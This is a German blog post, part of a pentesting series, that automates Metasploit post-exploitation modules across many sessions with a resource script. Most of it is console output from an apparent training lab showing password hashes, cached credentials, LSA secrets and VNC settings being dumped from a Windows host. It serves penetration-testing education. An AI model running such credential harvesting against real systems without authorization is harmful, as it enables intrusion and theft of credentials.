no one is safe ...

Automatisierung im Rahmen eines Pentests - part 10 (Post Exploitation)

Teil 10 der Automatisierungsserie ... w00tw00t

Dieses Mal geht es darum was wir im Rahmen der Post Exploitation Phase automatisieren können. Es war uns möglich eine oder mehrere Sessions zu öffnen und jetzt stellt sich die Frage welche dieser 140 Post Module von Metasploit sollten jetzt angewendet werden. Diese Module müssen zudem noch auf allen Sessions möglichst automatisiert zum Einsatz kommen. Stellt euch einfach vor ihr habt mit Pass the Hash ein Netzwerk mit ganz vielen Hosts übernommen und sollt diese im nächsten Schritt möglichst ohne Zeitverzögerung analysieren. Jetzt geht es los mit "search type:post" oder "show post" und anschl. müsst ihr die ausgewählten Post Module auf jeder Session einzeln anwenden. Um diesen Task etwas zu optimieren habe ich das Resource Skript "multi_post.rc" erstellt. In diesem definiert ihr im ersten Bereich über mehrere Arrays die zu verwendenden Module und anschl. wendet ihr es einfach folgendermaßen an:

10.8.28.2 - (Sessions: 1 Jobs: 0)> set VERBOSE true
VERBOSE => true
10.8.28.2 - (Sessions: 1 Jobs: 0)> resource multi_post.rc
[*] Processing /opt/metasploit4/msf3/scripts/resource/multi_post.rc for ERB directives.
[*] resource (/opt/metasploit4/msf3/scripts/resource/multi_post.rc)> Ruby Code (3930 bytes)
[*] starting with post exploitation stuff
starting meterpreter commands on session number 6
<snip>

[*] starting the post exploitation with post exploitation modules
[*] [2012.05.02-20:35:29] Determining session platform and type...
[*] Post module running as background job
SESSION => 6
[-] [2012.05.02-20:35:29] Platform is not Unix or Linux based. This one is: x86/win32
[*] [2012.05.02-20:35:29] Obtaining the boot key...
[*] [2012.05.02-20:35:29] Executing module against WAYTOHELL
SESSION => 6
[*] Post module running as background job
SESSION => 6
[-] Post failed: Msf::OptionValidateError The following options failed to validate: GROUP.
[*] [2012.05.02-20:35:29] Scanning session 6 / 192.168.44.26
[*] [2012.05.02-20:35:29] Running module against WAYTOHELL
[*] [2012.05.02-20:35:29] Hashes will be saved to the database if one is connected.
[*] [2012.05.02-20:35:29] Hashes will be saved in loot in JtR password file format to:
[*] [2012.05.02-20:35:29] /root/.msf4/loot/20120502203529_default_192.168.44.26_windows.hashes_766026.txt
SESSION => 6
[*] Post module running as background job
[*] [2012.05.02-20:35:29] Cached Credentials Setting: 10 - (Max is 50 and 0 disables, and 10 is default)
[*] [2012.05.02-20:35:29] Obtaining boot key...
[+] [2012.05.02-20:35:29] FOUND Domain: msf-training
[*] [2012.05.02-20:35:29] Looking up IP for domaincontroller
[*] [2012.05.02-20:35:30] Finding Microsoft key on WAYTOHELL
[*] [2012.05.02-20:35:30] IE Version: 5.00.3700.1000
[-] [2012.05.02-20:35:30] This module will only extract credentials for >= IE7
[*] Post module running as background job
SESSION => 6
[*] [2012.05.02-20:35:30] Running as SYSTEM extracting hashes from registry
[*] [2012.05.02-20:35:30]       Obtaining the boot key...
[*] Post module running as background job
SESSION => 6
[*] Post module running as background job
[*] [2012.05.02-20:35:30] Running against WAYTOHELL on session 6
SESSION => 6
[*] Post module running as background job
[*] [2012.05.02-20:35:30] Checking if WAYTOHELL is a Virtual Machine .....
[*] [2012.05.02-20:35:30] Obtaining Lsa key...
[*] [2012.05.02-20:35:30] Retrieving history.....
SESSION => 6
[*] [2012.05.02-20:35:30] Listing Service Info for matching services:
[*] Post module running as background job
SESSION => 6
[*] [2012.05.02-20:35:30] Running against session 6
[*] Post module running as background job
        File: C:\Documents and Settings\Default User\Local Settings\History\History.IE5\index.dat
[*] [2012.05.02-20:35:30] Enumerating applications installed on WAYTOHELL
SESSION => 6
[*] Post module running as background job
[*] [2012.05.02-20:35:30] XP compatible client
[*] [2012.05.02-20:35:30] Obtaining LK$KM...
[*] [2012.05.02-20:35:30] Running module against WAYTOHELL
[*] [2012.05.02-20:35:30] Checking if SNMP is Installed
SESSION => 6
[*] Post module running as background job
[*] [2012.05.02-20:35:31] No shares were found
[*] [2012.05.02-20:35:31] Dumping cached credentials...
[*] [2012.05.02-20:35:31]       SNMP is installed!
ComSpec=C:\WINNT\system32\cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:\WINNT\system32\os2\dll;
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
[*] [2012.05.02-20:35:33] Checking WinVNC3_HKCU...
[*] [2012.05.02-20:35:33] Retrieving cookies.....

Installed Applications
======================

Name          Version
----          -------
VMware Tools  8.0.4.24748
WebFldrs      9.00.3501


[*] [2012.05.02-20:35:34] Results stored in: /root/.msf4/loot/20120502203534_default_192.168.44.26_host.application_204364.txt
[*] [2012.05.02-20:35:34] John the Ripper format:
administrator:xxxxxxxxxxxxxxx::MSF-TRAINING
[*] [2012.05.02-20:35:34] Hash are in MSCACHE format. (mscash)
        File: C:\Documents and Settings\Default User\Cookies\index.dat
[*] [2012.05.02-20:35:34] Checking WinVNC3_HKLM_Default...
[*] [2012.05.02-20:35:34] Checking WinVNC3_HKCU_Default...
[*] [2012.05.02-20:35:35] Checking WinVNC_HKLM_Default...
[*] [2012.05.02-20:35:35] Checking WinVNC_HKCU_Default...
[*] [2012.05.02-20:35:35] Checking WinVNC4_HKLM...
[*] [2012.05.02-20:35:35] Checking WinVNC4_HKCU...
[*] [2012.05.02-20:35:36] Checking RealVNC_HKLM...

Keys
====

Product                 Registered Owner  Registered Organization  License Key
-------                 ----------------  -----------------------  -----------
Microsoft Windows 2000  m1k3              pwnd                             XXXXXX


[*] [2012.05.02-20:35:36] Keys stored in: /root/.msf4/loot/20120502203536_default_192.168.44.26_host.ms_keys_009712.txt
<snip>

Sobald das Skript alle Module und Sesssions abgearbeitet hat, habt ihr alle relevanten Informationen für die anschließende Auswertung. :)

btw. die Module die zur Anwendung kommen, lassen sich auch über globale Parameter steuern:

  • METER_AUTO_COM steuert die Meterpreter Befehle
  • MOD_WIN gibt die Module für die Windows Post Exploitation Phase an
  • MOD_LIN gibt die Module für die Linux Post Exploitation Phase an
  • MOD_MULTI gibt die Module für Multi Systeme an

Falls ihr weitere Informationen zu Metasploit benötigt findet ihr diese in meinem Buch. Erste Probekapitel findet ihr zudem auf der dpunkt-Webseite. Das Buch lässt sich natürlich auf Amazon bestellen.

Bis zum nächsten Teil wo wir weitere Automatisierungsmöglichkeiten von Metasploit betrachten werden.

have phun,
mIke